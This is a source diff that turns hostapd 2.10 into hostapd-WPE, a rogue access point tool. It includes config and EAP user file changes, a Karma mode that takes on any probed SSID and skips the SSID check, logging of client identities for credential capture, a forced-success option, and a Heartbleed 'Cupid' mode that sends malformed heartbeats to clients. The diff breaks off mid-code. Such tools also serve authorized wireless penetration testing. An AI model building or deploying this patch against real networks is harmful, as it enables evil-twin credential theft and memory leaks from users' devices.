++# IPv6 Neighbor Advertisement multicast-to-unicast conversion
++# This can be used with Proxy ARP to allow multicast NAs to be forwarded to
++# associated STAs using link layer unicast delivery.
++# 0 = disabled (default)
++# 1 = enabled
++#na_mcast_to_ucast=0
++
++##### IEEE 802.11u-2011 #######################################################
++
++# Enable Interworking service
++#interworking=1
++
++# Access Network Type
++# 0 = Private network
++# 1 = Private network with guest access
++# 2 = Chargeable public network
++# 3 = Free public network
++# 4 = Personal device network
++# 5 = Emergency services only network
++# 14 = Test or experimental
++# 15 = Wildcard
++#access_network_type=0
++
++# Whether the network provides connectivity to the Internet
++# 0 = Unspecified
++# 1 = Network provides connectivity to the Internet
++#internet=1
++
++# Additional Step Required for Access
++# Note: This is only used with open network, i.e., ASRA shall ne set to 0 if
++# RSN is used.
++#asra=0
++
++# Emergency services reachable
++#esr=0
++
++# Unauthenticated emergency service accessible
++#uesa=0
++
++# Venue Info (optional)
++# The available values are defined in IEEE Std 802.11u-2011, 7.3.1.34.
++# Example values (group,type):
++# 0,0 = Unspecified
++# 1,7 = Convention Center
++# 1,13 = Coffee Shop
++# 2,0 = Unspecified Business
++# 7,1  Private Residence
++#venue_group=7
++#venue_type=1
++
++# Homogeneous ESS identifier (optional; dot11HESSID)
++# If set, this shall be identifical to one of the BSSIDs in the homogeneous
++# ESS and this shall be set to the same value across all BSSs in homogeneous
++# ESS.
++#hessid=02:03:04:05:06:07
++
++# Roaming Consortium List
++# Arbitrary number of Roaming Consortium OIs can be configured with each line
++# adding a new OI to the list. The first three entries are available through
++# Beacon and Probe Response frames. Any additional entry will be available only
++# through ANQP queries. Each OI is between 3 and 15 octets and is configured as
++# a hexstring.
++#roaming_consortium=021122
++#roaming_consortium=2233445566
++
++# Venue Name information
++# This parameter can be used to configure one or more Venue Name Duples for
++# Venue Name ANQP information. Each entry has a two or three character language
++# code (ISO-639) separated by colon from the venue name string.
++# Note that venue_group and venue_type have to be set for Venue Name
++# information to be complete.
++#venue_name=eng:Example venue
++#venue_name=fin:Esimerkkipaikka
++# Alternative format for language:value strings:
++# (double quoted string, printf-escaped string)
++#venue_name=P"eng:Example\nvenue"
++
++# Network Authentication Type
++# This parameter indicates what type of network authentication is used in the
++# network.
++# format: <network auth type indicator (1-octet hex str)> redirect URL
++# Network Authentication Type Indicator values:
++# 00 = Acceptance of terms and conditions
++# 01 = On-line enrollment supported
++# 02 = http/https redirection
++# 03 = DNS redirection
++#network_auth_type=00
++#network_auth_type=02http://www.example.com/redirect/me/here/
++
++# IP Address Type Availability
++# format: <1-octet encoded value as hex str>
++# (ipv4_type & 0x3f) << 2 | (ipv6_type & 0x3)
++# ipv4_type:
++# 0 = Address type not available
++# 1 = Public IPv4 address available
++# 2 = Port-restricted IPv4 address available
++# 3 = Single NATed private IPv4 address available
++# 4 = Double NATed private IPv4 address available
++# 5 = Port-restricted IPv4 address and single NATed IPv4 address available
++# 6 = Port-restricted IPv4 address and double NATed IPv4 address available
++# 7 = Availability of the address type is not known
++# ipv6_type:
++# 0 = Address type not available
++# 1 = Address type available
++# 2 = Availability of the address type not known
++#ipaddr_type_availability=14
++
++# Domain Name
++# format: <variable-octet str>,<variable-octet str>
++#domain_name=example.com,another.example.com,yet-another.example.com
++
++# 3GPP Cellular Network information
++# format: <MCC1,MNC1>;<MCC2,MNC2>;...
++#anqp_3gpp_cell_net=244,91;310,026;234,56
++
++# NAI Realm information
++# One or more realm can be advertised. Each nai_realm line adds a new realm to
++# the set. These parameters provide information for stations using Interworking
++# network selection to allow automatic connection to a network based on
++# credentials.
++# format: <encoding>,<NAI Realm(s)>,<EAP Method 1>,<EAP Method 2>,...
++# encoding:
++#	0 = Realm formatted in accordance with IETF RFC 4282
++#	1 = UTF-8 formatted character string that is not formatted in
++#	    accordance with IETF RFC 4282
++# NAI Realm(s): Semi-colon delimited NAI Realm(s)
++# EAP Method: <EAP Method>:<AuthParam1:Val1><AuthParam2:Val2>...
++# EAP Method types, see:
++# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
++# AuthParam (Table 8-188 in IEEE Std 802.11-2012):
++# ID 2 = Non-EAP Inner Authentication Type
++#	1 = PAP, 2 = CHAP, 3 = MSCHAP, 4 = MSCHAPV2
++# ID 3 = Inner authentication EAP Method Type
++# ID 5 = Credential Type
++#	1 = SIM, 2 = USIM, 3 = NFC Secure Element, 4 = Hardware Token,
++#	5 = Softoken, 6 = Certificate, 7 = username/password, 9 = Anonymous,
++#	10 = Vendor Specific
++#nai_realm=0,example.com;example.net
++# EAP methods EAP-TLS with certificate and EAP-TTLS/MSCHAPv2 with
++# username/password
++#nai_realm=0,example.org,135:6,212:45:7
++
++# Arbitrary ANQP-element configuration
++# Additional ANQP-elements with arbitrary values can be defined by specifying
++# their contents in raw format as a hexdump of the payload. Note that these
++# values will override ANQP-element contents that may have been specified in the
++# more higher layer configuration parameters listed above.
++# format: anqp_elem=<InfoID>:<hexdump of payload>
++# For example, AP Geospatial Location ANQP-element with unknown location:
++#anqp_elem=265:0000
++# For example, AP Civic Location ANQP-element with unknown location:
++#anqp_elem=266:000000
++
++# GAS Address 3 behavior
++# 0 = P2P specification (Address3 = AP BSSID) workaround enabled by default
++#     based on GAS request Address3
++# 1 = IEEE 802.11 standard compliant regardless of GAS request Address3
++# 2 = Force non-compliant behavior (Address3 = AP BSSID for all cases)
++#gas_address3=0
++
++# QoS Map Set configuration
++#
++# Comma delimited QoS Map Set in decimal values
++# (see IEEE Std 802.11-2012, 8.4.2.97)
++#
++# format:
++# <DSCP ExceptionsDSCP,UP>,<UP 0 rangelow,high>,...<UP 7 rangelow,high>
++#
++# There can be up to 21 optional DSCP Exceptions which are pairs of DSCP Value
++# (0..63 or 255) and User Priority (0..7). This is followed by eight DSCP Range
++# descriptions with DSCP Low Value and DSCP High Value pairs (0..63 or 255) for
++# each UP starting from 0. If both low and high value are set to 255, the
++# corresponding UP is not used.
++#
++# default: not set
++#qos_map_set=53,2,22,6,8,15,0,7,255,255,16,31,32,39,255,255,40,47,255,255
++
++##### Hotspot 2.0 #############################################################
++
++# Enable Hotspot 2.0 support
++#hs20=1
++
++# Disable Downstream Group-Addressed Forwarding (DGAF)
++# This can be used to configure a network where no group-addressed frames are
++# allowed. The AP will not forward any group-address frames to the stations and
++# random GTKs are issued for each station to prevent associated stations from
++# forging such frames to other stations in the BSS.
++#disable_dgaf=1
++
++# OSU Server-Only Authenticated L2 Encryption Network
++#osen=1
++
++# ANQP Domain ID (0..65535)
++# An identifier for a set of APs in an ESS that share the same common ANQP
++# information. 0 = Some of the ANQP information is unique to this AP (default).
++#anqp_domain_id=1234
++
++# Deauthentication request timeout
++# If the RADIUS server indicates that the station is not allowed to connect to
++# the BSS/ESS, the AP can allow the station some time to download a
++# notification page (URL included in the message). This parameter sets that
++# timeout in seconds.
++#hs20_deauth_req_timeout=60
++
++# Operator Friendly Name
++# This parameter can be used to configure one or more Operator Friendly Name
++# Duples. Each entry has a two or three character language code (ISO-639)
++# separated by colon from the operator friendly name string.
++#hs20_oper_friendly_name=eng:Example operator
++#hs20_oper_friendly_name=fin:Esimerkkioperaattori
++
++# Connection Capability
++# This can be used to advertise what type of IP traffic can be sent through the
++# hotspot (e.g., due to firewall allowing/blocking protocols/ports).
++# format: <IP Protocol>:<Port Number>:<Status>
++# IP Protocol: 1 = ICMP, 6 = TCP, 17 = UDP
++# Port Number: 0..65535
++# Status: 0 = Closed, 1 = Open, 2 = Unknown
++# Each hs20_conn_capab line is added to the list of advertised tuples.
++#hs20_conn_capab=1:0:2
++#hs20_conn_capab=6:22:1
++#hs20_conn_capab=17:5060:0
++
++# WAN Metrics
++# format: <WAN Info>:<DL Speed>:<UL Speed>:<DL Load>:<UL Load>:<LMD>
++# WAN Info: B0-B1: Link Status, B2: Symmetric Link, B3: At Capabity
++#    (encoded as two hex digits)
++#    Link Status: 1 = Link up, 2 = Link down, 3 = Link in test state
++# Downlink Speed: Estimate of WAN backhaul link current downlink speed in kbps;
++#	1..4294967295; 0 = unknown
++# Uplink Speed: Estimate of WAN backhaul link current uplink speed in kbps
++#	1..4294967295; 0 = unknown
++# Downlink Load: Current load of downlink WAN connection (scaled to 255 = 100%)
++# Uplink Load: Current load of uplink WAN connection (scaled to 255 = 100%)
++# Load Measurement Duration: Duration for measuring downlink/uplink load in
++# tenths of a second (1..65535); 0 if load cannot be determined
++#hs20_wan_metrics=01:8000:1000:80:240:3000
++
++# Operating Class Indication
++# List of operating classes the BSSes in this ESS use. The Global operating
++# classes in Table E-4 of IEEE Std 802.11-2012 Annex E define the values that
++# can be used in this.
++# format: hexdump of operating class octets
++# for example, operating classes 81 (2.4 GHz channels 1-13) and 115 (5 GHz
++# channels 36-48):
++#hs20_operating_class=5173
++
++# OSU icons
++# <Icon Width>:<Icon Height>:<Language code>:<Icon Type>:<Name>:<file path>
++#hs20_icon=32:32:eng:image/png:icon32:/tmp/icon32.png
++#hs20_icon=64:64:eng:image/png:icon64:/tmp/icon64.png
++
++# OSU SSID (see ssid2 for format description)
++# This is the SSID used for all OSU connections to all the listed OSU Providers.
++#osu_ssid="example"
++
++# OSU Providers
++# One or more sets of following parameter. Each OSU provider is started by the
++# mandatory osu_server_uri item. The other parameters add information for the
++# last added OSU provider.
++#
++#osu_server_uri=https://example.com/osu/
++#osu_friendly_name=eng:Example operator
++#osu_friendly_name=fin:Esimerkkipalveluntarjoaja
++#osu_nai=anonymous@example.com
++#osu_method_list=1 0
++#osu_icon=icon32
++#osu_icon=icon64
++#osu_service_desc=eng:Example services
++#osu_service_desc=fin:Esimerkkipalveluja
++#
++#osu_server_uri=...
++
++##### Fast Session Transfer (FST) support #####################################
++#
++# The options in this section are only available when the build configuration
++# option CONFIG_FST is set while compiling hostapd. They allow this interface
++# to be a part of FST setup.
++#
++# FST is the transfer of a session from a channel to another channel, in the
++# same or different frequency bands.
++#
++# For detals, see IEEE Std 802.11ad-2012.
++
++# Identifier of an FST Group the interface belongs to.
++#fst_group_id=bond0
++
++# Interface priority within the FST Group.
++# Announcing a higher priority for an interface means declaring it more
++# preferable for FST switch.
++# fst_priority is in 1..255 range with 1 being the lowest priority.
++#fst_priority=100
++
++# Default LLT value for this interface in milliseconds. The value used in case
++# no value provided during session setup. Default is 50 ms.
++# fst_llt is in 1..4294967 range (due to spec limitation, see 10.32.2.2
++# Transitioning between states).
++#fst_llt=100
++
++##### Radio measurements / location ###########################################
++
++# The content of a LCI measurement subelement
++#lci=<Hexdump of binary data of the LCI report>
++
++# The content of a location civic measurement subelement
++#civic=<Hexdump of binary data of the location civic report>
++
++# Enable neighbor report via radio measurements
++#rrm_neighbor_report=1
++
++# Publish fine timing measurement (FTM) responder functionality
++# This parameter only controls publishing via Extended Capabilities element.
++# Actual functionality is managed outside hostapd.
++#ftm_responder=0
++
++# Publish fine timing measurement (FTM) initiator functionality
++# This parameter only controls publishing via Extended Capabilities element.
++# Actual functionality is managed outside hostapd.
++#ftm_initiator=0
++
++##### TESTING OPTIONS #########################################################
++#
++# The options in this section are only available when the build configuration
++# option CONFIG_TESTING_OPTIONS is set while compiling hostapd. They allow
++# testing some scenarios that are otherwise difficult to reproduce.
++#
++# Ignore probe requests sent to hostapd with the given probability, must be a
++# floating point number in the range 0, 1).
++#ignore_probe_probability=0.0
++#
++# Ignore authentication frames with the given probability
++#ignore_auth_probability=0.0
++#
++# Ignore association requests with the given probability
++#ignore_assoc_probability=0.0
++#
++# Ignore reassociation requests with the given probability
++#ignore_reassoc_probability=0.0
++#
++# Corrupt Key MIC in GTK rekey EAPOL-Key frames with the given probability
++#corrupt_gtk_rekey_mic_probability=0.0
++#
++# Include only ECSA IE without CSA IE where possible
++# (channel switch operating class is needed)
++#ecsa_ie_only=0
++
++##### Multiple BSSID support ##################################################
++#
++# Above configuration is using the default interface (wlan#, or multi-SSID VLAN
++# interfaces). Other BSSIDs can be added by using separator 'bss' with
++# default interface name to be allocated for the data packets of the new BSS.
++#
++# hostapd will generate BSSID mask based on the BSSIDs that are
++# configured. hostapd will verify that dev_addr & MASK == dev_addr. If this is
++# not the case, the MAC address of the radio must be changed before starting
++# hostapd (ifconfig wlan0 hw ether <MAC addr>). If a BSSID is configured for
++# every secondary BSS, this limitation is not applied at hostapd and other
++# masks may be used if the driver supports them (e.g., swap the locally
++# administered bit)
++#
++# BSSIDs are assigned in order to each BSS, unless an explicit BSSID is
++# specified using the 'bssid' parameter.
++# If an explicit BSSID is specified, it must be chosen such that it:
++# - results in a valid MASK that covers it and the dev_addr
++# - is not the same as the MAC address of the radio
++# - is not the same as any other explicitly specified BSSID
++#
++# Alternatively, the 'use_driver_iface_addr' parameter can be used to request
++# hostapd to use the driver auto-generated interface address (e.g., to use the
++# exact MAC addresses allocated to the device).
++#
++# Not all drivers support multiple BSSes. The exact mechanism for determining
++# the driver capabilities is driver specific. With the current (i.e., a recent
++# kernel) drivers using nl80211, this information can be checked with "iw list"
++# (search for "valid interface combinations").
++#
++# Please note that hostapd uses some of the values configured for the first BSS
++# as the defaults for the following BSSes. However, it is recommended that all
++# BSSes include explicit configuration of all relevant configuration items.
++#
++#bss=wlan0_0
++#ssid=test2
++# most of the above items can be used here (apart from radio interface specific
++# items, like channel)
++
++#bss=wlan0_1
++#bssid=00:13:10:95:fe:0b
++# ...
+diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.eap_user hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user
+--- hostapd-2.10/hostapd/hostapd-wpe.eap_user	1970-01-01 00:00:00.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/hostapd-wpe.eap_user	2022-02-21 23:29:30.104000000 +0000
+@@ -0,0 +1,107 @@
++# hostapd user database for integrated EAP server
++
++# Each line must contain an identity, EAP method(s), and an optional password
++# separated with whitespace (space or tab). The identity and password must be
++# double quoted ("user"). Password can alternatively be stored as
++# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password
++# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means
++# that the plaintext password does not need to be included in the user file.
++# Password hash is stored as hash:<16-octets of hex data> without quotation
++# marks.
++
++# 2 flag in the end of the line can be used to mark users for tunneled phase
++# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous
++# identity can be used in the unencrypted phase 1 and the real user identity
++# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous
++# access is needed, two user entries is needed, one for phase 1 and another
++# with the same username for phase 2.
++#
++# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use
++# password option.
++# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a
++# password.
++# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration.
++#
++# * can be used as a wildcard to match any user identity. The main purposes for
++# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to
++# avoid having to configure every certificate for EAP-TLS authentication. The
++# first matching entry is selected, so * should be used as the last phase 1
++# user entry.
++#
++# "prefix"* can be used to match the given prefix and anything after this. The
++# main purpose for this is to be able to avoid EAP method negotiation when the
++# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This
++# is only allowed for phase 1 identities.
++#
++# Multiple methods can be configured to make the authenticator try them one by
++# one until the peer accepts one. The method names are separated with a
++# comma (,).
++#
++# ver=0 and ver=1 flags after EAP type PEAP can be used to force PEAP
++# version based on the Phase 1 identity. Without this flag, the EAP
++# authenticator advertises the highest supported version and select the version
++# based on the first PEAP packet from the supplicant.
++#
++# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel.
++# Tunneled EAP methods are configured with standard EAP method name and 2
++# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP,
++# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a
++# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password
++# hash.
++#
++# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly
++# to the way radius_auth_req_attr is used for Access-Request packet in
++# hostapd.conf. For EAP server, this is configured separately for each user
++# entry with radius_accept_attr=<value> line(s) following the main user entry
++# line.
++
++# Phase 1 users
++#"user"		MD5	"password"
++#"test user"	MD5	"secret"
++#"example user"	TLS
++#"DOMAIN\user"	MSCHAPV2	"password"
++#"gtc user"	GTC	"password"
++#"pax user"	PAX	"unknown"
++#"pax.user@example.com"	PAX	0123456789abcdef0123456789abcdef
++#"psk user"	PSK	"unknown"
++#"psk.user@example.com"	PSK	0123456789abcdef0123456789abcdef
++#"sake.user@example.com"	SAKE	0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
++#"ttls"		TTLS
++#"not anonymous"	PEAP
++# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes
++#"0"*		AKA,TTLS,TLS,PEAP,SIM
++#"1"*		SIM,TTLS,TLS,PEAP,AKA
++#"2"*		AKA,TTLS,TLS,PEAP,SIM
++#"3"*		SIM,TTLS,TLS,PEAP,AKA
++#"4"*		AKA,TTLS,TLS,PEAP,SIM
++#"5"*		SIM,TTLS,TLS,PEAP,AKA
++#"6"*		AKA'
++#"7"*		AKA'
++#"8"*		AKA'
++
++# Wildcard for all other identities
++#*		PEAP,TTLS,TLS,SIM,AKA
++
++# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users
++#"t-md5"		MD5	"password"	2
++#"DOMAIN\t-mschapv2"	MSCHAPV2	"password"	2
++#"t-gtc"		GTC	"password"	2
++#"not anonymous"	MSCHAPV2	"password"	2
++#"user"		MD5,GTC,MSCHAPV2	"password"	2
++#"test user"	MSCHAPV2	hash:000102030405060708090a0b0c0d0e0f	2
++#"ttls-user"	TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2	"password"	2
++
++# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2
++#"0"*		AKA	2
++#"1"*		SIM	2
++#"2"*		AKA	2
++#"3"*		SIM	2
++#"4"*		AKA	2
++#"5"*		SIM	2
++#"6"*		AKA'	2
++#"7"*		AKA'	2
++#"8"*		AKA'	2
++
++# WPE - DO NOT REMOVE - These entries are specifically in here 
++*		PEAP,TTLS,TLS,FAST
++"t"	    TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "t"	2
+diff '--color=auto' -rupN hostapd-2.10/hostapd/main.c hostapd-2.10-wpe/hostapd/main.c
+--- hostapd-2.10/hostapd/main.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/hostapd/main.c	2022-02-22 00:03:05.108000000 +0000
+@@ -30,7 +30,7 @@
+ #include "config_file.h"
+ #include "eap_register.h"
+ #include "ctrl_iface.h"
+-
++#include "wpe/wpe.h"
+ 
+ struct hapd_global {
+ 	void **drv_priv;
+@@ -451,11 +451,17 @@ static int hostapd_global_run(struct hap
+ static void show_version(void)
+ {
+ 	fprintf(stderr,
+-		"hostapd v%s\n"
++		"hostapd-WPE v%s\n"
+ 		"User space daemon for IEEE 802.11 AP management,\n"
+ 		"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
+ 		"Copyright (c) 2002-2022, Jouni Malinen <j@w1.fi> "
+-		"and contributors\n",
++		"and contributors\n"
++		"-----------------------------------------------------\n"
++		"WPE (Wireless Pwnage Edition)\n"
++		"This version has been cleverly modified to target\n"
++		"wired and wireless users.\n"
++		"Twitter: @aircrackng\n"
++		"Website: https://aircrack-ng.org\n",
+ 		VERSION_STR);
+ }
+ 
+@@ -465,7 +471,7 @@ static void usage(void)
+ 	show_version();
+ 	fprintf(stderr,
+ 		"\n"
+-		"usage: hostapd -hdBKtv -P <PID file> -e <entropy file> "
++		"usage: hostapd-wpe -hdBKtvrkc -P <PID file> -e <entropy file> "
+ 		"\\\n"
+ 		"         -g <global ctrl_iface> -G <group>\\\n"
+ 		"         -i <comma-separated list of interface names>\\\n"
+@@ -493,7 +499,16 @@ static void usage(void)
+ #endif /* CONFIG_DEBUG_SYSLOG */
+ 		"   -S   start all the interfaces synchronously\n"
+ 		"   -t   include timestamps in some debug messages\n"
+-		"   -v   show hostapd version\n");
++		"   -v   show hostapd version\n\n"
++		"\n"
++		"WPE options:\n"
++		"   -r   Return Success where possible\n"
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++		"   -c   Cupid Mode (Heartbleed clients)\n\n"
++#endif
++		"   -k   Karma Mode (Respond to all probes)\n"
++		"\n"
++		"   Note: credentials logging is always enabled\n\n");
+ 
+ 	exit(1);
+ }
+@@ -684,7 +699,7 @@ int main(int argc, char *argv)
+ #endif /* CONFIG_DPP */
+ 
+ 	for (;;) {
+-		c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:");
++		c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:kcs");
+ 		if (c < 0)
+ 			break;
+ 		switch (c) {
+@@ -753,6 +768,15 @@ int main(int argc, char *argv)
+ 		case 'u':
+ 			return gen_uuid(optarg);
+ #endif /* CONFIG_WPS */
++		case 'k':
++			wpe_conf.wpe_enable_karma++;
++			break;
++		case 'c':
++			wpe_conf.wpe_enable_cupid++;
++			break;
++		case 'r':
++			wpe_conf.wpe_enable_return_success++;
++			break;
+ 		case 'i':
+ 			if (hostapd_get_interface_names(&if_names,
+ 							&if_names_size, optarg))
+diff '--color=auto' -rupN hostapd-2.10/src/Makefile hostapd-2.10-wpe/src/Makefile
+--- hostapd-2.10/src/Makefile	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/Makefile	2022-02-21 23:29:30.152000000 +0000
+@@ -1,5 +1,5 @@
+ SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
+-SUBDIRS += fst
++SUBDIRS += fst wpe
+ 
+ all:
+ 	for d in $(SUBDIRS); do  -d $$d  && $(MAKE) -C $$d; done
+diff '--color=auto' -rupN hostapd-2.10/src/ap/beacon.c hostapd-2.10-wpe/src/ap/beacon.c
+--- hostapd-2.10/src/ap/beacon.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/ap/beacon.c	2022-02-21 23:29:30.128000000 +0000
+@@ -32,7 +32,7 @@
+ #include "dfs.h"
+ #include "taxonomy.h"
+ #include "ieee802_11_auth.h"
+-
++#include "wpe/wpe.h"
+ 
+ #ifdef NEED_AP_MLME
+ 
+@@ -975,6 +975,13 @@ void handle_probe_req(struct hostapd_dat
+ 	}
+ #endif /* CONFIG_TAXONOMY */
+ 
++    if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) {
++            wpa_printf(MSG_MSGDUMP,"WPE Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len));
++            hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len); 
++            os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len);
++            hapd->conf->ssid.ssid_len = elems.ssid_len;
++    } 
++
+ 	res = ssid_match(hapd, elems.ssid, elems.ssid_len,
+ 			 elems.ssid_list, elems.ssid_list_len,
+ 			 elems.short_ssid_list, elems.short_ssid_list_len);
+diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_11.c hostapd-2.10-wpe/src/ap/ieee802_11.c
+--- hostapd-2.10/src/ap/ieee802_11.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/ap/ieee802_11.c	2022-02-21 23:29:30.128000000 +0000
+@@ -55,7 +55,7 @@
+ #include "fils_hlp.h"
+ #include "dpp_hostapd.h"
+ #include "gas_query_ap.h"
+-
++#include "wpe/wpe.h"
+ 
+ #ifdef CONFIG_FILS
+ static struct wpabuf *
+@@ -3998,8 +3998,8 @@ static u16 check_ssid(struct hostapd_dat
+ 	if (ssid_ie == NULL)
+ 		return WLAN_STATUS_UNSPECIFIED_FAILURE;
+ 
+-	if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+-	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++	if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ 		hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+ 			       HOSTAPD_LEVEL_INFO,
+ 			       "Station tried to associate with unknown SSID "
+diff '--color=auto' -rupN hostapd-2.10/src/ap/ieee802_1x.c hostapd-2.10-wpe/src/ap/ieee802_1x.c
+--- hostapd-2.10/src/ap/ieee802_1x.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/ap/ieee802_1x.c	2022-02-21 23:29:30.128000000 +0000
+@@ -855,6 +855,8 @@ static void handle_eap_response(struct h
+ {
+ 	u8 type, *data;
+ 	struct eapol_state_machine *sm = sta->eapol_sm;
++	const u8 *identity;
++	size_t identity_len;
+ 
+ 	if (!sm)
+ 		return;
+@@ -874,6 +876,16 @@ static void handle_eap_response(struct h
+ 		       eap->code, eap->identifier, be_to_host16(eap->length),
+ 		       eap_server_get_name(0, type), type);
+ 
++/* Print Response-Identity from STA*/
++	identity = eap_get_identity(sm->eap, &identity_len);
++	os_free(sm->identity);
++	sm->identity = (u8 *) dup_binstr(identity, identity_len);
++	sm->identity_len = identity_len;
++	if (identity != NULL) {
++		hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X,
++		       HOSTAPD_LEVEL_INFO, "Identity received from STA: '%s'", sm->identity);
++	}
++
+ 	sm->dot1xAuthEapolRespFramesRx++;
+ 
+ 	wpabuf_free(sm->eap_if->eapRespData);
+diff '--color=auto' -rupN hostapd-2.10/src/crypto/ms_funcs.h hostapd-2.10-wpe/src/crypto/ms_funcs.h
+--- hostapd-2.10/src/crypto/ms_funcs.h	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/crypto/ms_funcs.h	2022-02-21 23:29:30.144000000 +0000
+@@ -9,6 +9,10 @@
+ #ifndef MS_FUNCS_H
+ #define MS_FUNCS_H
+ 
++int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
++              const u8 *username, size_t username_len,
++              u8 *challenge);
++
+ int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
+ 			 const u8 *username, size_t username_len,
+ 			 const u8 *password, size_t password_len,
+diff '--color=auto' -rupN hostapd-2.10/src/crypto/tls_openssl.c hostapd-2.10-wpe/src/crypto/tls_openssl.c
+--- hostapd-2.10/src/crypto/tls_openssl.c	2022-01-16 20:51:29.000000000 +0000
++++ hostapd-2.10-wpe/src/crypto/tls_openssl.c	2022-02-21 23:29:30.140000000 +0000
+@@ -21,6 +21,7 @@
+ #include <openssl/opensslv.h>
+ #include <openssl/pkcs12.h>
+ #include <openssl/x509v3.h>
++#include <openssl/rand.h>
+ #ifndef OPENSSL_NO_ENGINE
+ #include <openssl/engine.h>
+ #endif /* OPENSSL_NO_ENGINE */
+@@ -37,6 +38,7 @@
+ #include "sha256.h"
+ #include "tls.h"
+ #include "tls_openssl.h"
++#include "wpe/wpe.h"
+ 
+ #if !defined(CONFIG_FIPS) &&                             \
+     (defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) ||   \
+@@ -204,6 +206,10 @@ static int tls_add_ca_from_keystore_enco
+ 
+ #endif /* ANDROID */
+ 
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++
+ static int tls_openssl_ref_count = 0;
+ static int tls_ex_idx_session = -1;
+ 
+@@ -1577,7 +1583,12 @@ struct tls_connection * tls_connection_i
+ 
+ 	conn->context = context;
+ 	SSL_set_app_data(conn->ssl, conn);
+-	SSL_set_msg_callback(conn->ssl, tls_msg_cb);
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid) 
++		SSL_set_msg_callback(conn->ssl, wpe_hb_cb);
++	else
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
++		SSL_set_msg_callback(conn->ssl, tls_msg_cb);
+ 	SSL_set_msg_callback_arg(conn->ssl, conn);
+ 	options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
+ 		SSL_OP_SINGLE_DH_USE;
+@@ -4286,6 +4297,10 @@ openssl_handshake(struct tls_connection
+ {
+ 	int res;
+ 	struct wpabuf *out_data;
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	int i;
++	struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2;
++#endif /* OPENSSL_VERSION_NUMBER  < 0x10100000L */
+ 
+ 	/*
+ 	 * Give TLS handshake data from the server (if available) to OpenSSL
+@@ -4394,6 +4409,30 @@ openssl_handshake(struct tls_connection
+ 	}
+ 	wpabuf_put(out_data, res);
+ 
++#if OPENSSL_VERSION_NUMBER  < 0x10100000L
++	if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) {
++
++		wpa_printf(MSG_DEBUG, "WPE Sending heartbeat request instead of handshake\n");
++		wpe_hb_ptr1 = NULL;
++
++		for (i = 0; i < wpe_conf.wpe_hb_num_repeats; i++) {
++			wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1);
++			memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1);
